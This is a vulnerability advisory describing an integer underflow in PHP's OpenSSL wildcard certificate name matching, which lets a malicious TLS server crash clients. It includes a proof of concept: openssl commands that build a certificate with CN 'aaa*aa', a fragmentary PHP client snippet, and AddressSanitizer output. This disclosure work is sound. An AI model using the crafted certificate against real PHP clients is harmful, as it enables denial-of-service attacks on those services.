Summary
php_openssl_matches_wildcard_name() in ext/openssl/xp_ssl.c underflows the length argument passed to memchr() when a TLS server certificate presents a wildcard name whose literal characters are together longer than the hostname being verified. A malicious server presenting such a certificate makes the PHP client read up to SIZE_MAX bytes past the end of a heap allocation. The path is reachable from any default client stream, because verify_peer_name is enabled by default.
Details
The guard before the memchr() call only accounts for the suffix length:
https://github.com/php/php-src/blob/php-8.5.10/ext/openssl/xp_ssl.c#L435-L441
The third argument is subject_len - suffix_len - prefix_len. subject_len and suffix_len are size_t while prefix_len is ptrdiff_t, so the usual arithmetic conversions promote the whole expression to size_t. With a certificate name of aaa*aa verified against aaaa, the prefix is 3 and the suffix is 2 against a 4-byte subject, so the length computes as (size_t)(4 - 2 - 3) and wraps to SIZE_MAX. memchr() then scans from subjectname + prefix_len until it finds a . or hits unmapped memory.
The fix makes prefix_len a size_t and changes the guard to suffix_len + prefix_len <= subject_len, so the subtraction can no longer wrap.
PoC
Create a CA and a server certificate whose CN is a wildcard pattern longer than the hostname:
mkdir -p /tmp/tls-poc && cd /tmp/tls-poc
openssl req -x509 -newkey rsa:2048 -keyout ca.key -out ca.crt -days 30 -nodes -subj "/CN=poc-ca"
openssl req -newkey rsa:2048 -keyout server.key -out server.csr -nodes -subj "/CN=aaa*aa"
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 30
Serve it from a local TLS listener, then run the client with a shorter peer_name:
[
'verify_peer' => true,
'verify_peer_name' => true,
'cafile' => '/tmp/tls-poc/ca.crt',
'peer_name' => 'aaaa',
],
'http' => ['method' => 'GET', 'timeout' => 5],
]);
$body = @file_get_contents('https://127.0.0.1:18443/', false, $ctx);
var_dump(error_get_last());
USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0:halt_on_error=0 ./sapi/cli/php repro.php
==3801043==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 6559 at 0x50300003eac0 thread T0
0x50300003eac0 is located 0 bytes after 32-byte region [0x50300003eaa0,0x50300003eac0)
#1 php_openssl_matches_wildcard_name ext/openssl/xp_ssl.c:438
#2 php_openssl_matches_common_name ext/openssl/xp_ssl.c:542
#3 php_openssl_apply_peer_verification_policy ext/openssl/xp_ssl.c:635
#4 php_openssl_enable_crypto ext/openssl/xp_ssl.c:1894
USE_ZEND_ALLOC=0 is needed so that AddressSanitizer sees the boundary of the heap-allocated peer name; with the Zend allocator the read still happens but stays inside a pre-allocated chunk. In a production build without a sanitizer the scan continues through the libc heap until it finds a . or reaches an unmapped page and the process crashes.
Impact
A server that a PHP client connects to over TLS can cause an out-of-bounds read of unbounded length during hostname verification, crashing the process and producing a denial of service. The scan stops at the first . byte it encounters and its result only feeds the accept or reject decision, so no heap content is returned to the attacker.
It applies to any client stream using the default verify_peer_name, including file_get_contents(), fopen() and stream_socket_client() on https:// and tls://. The attacker must be able to present the crafted certificate, either by controlling the server or by being trusted through the CA in use.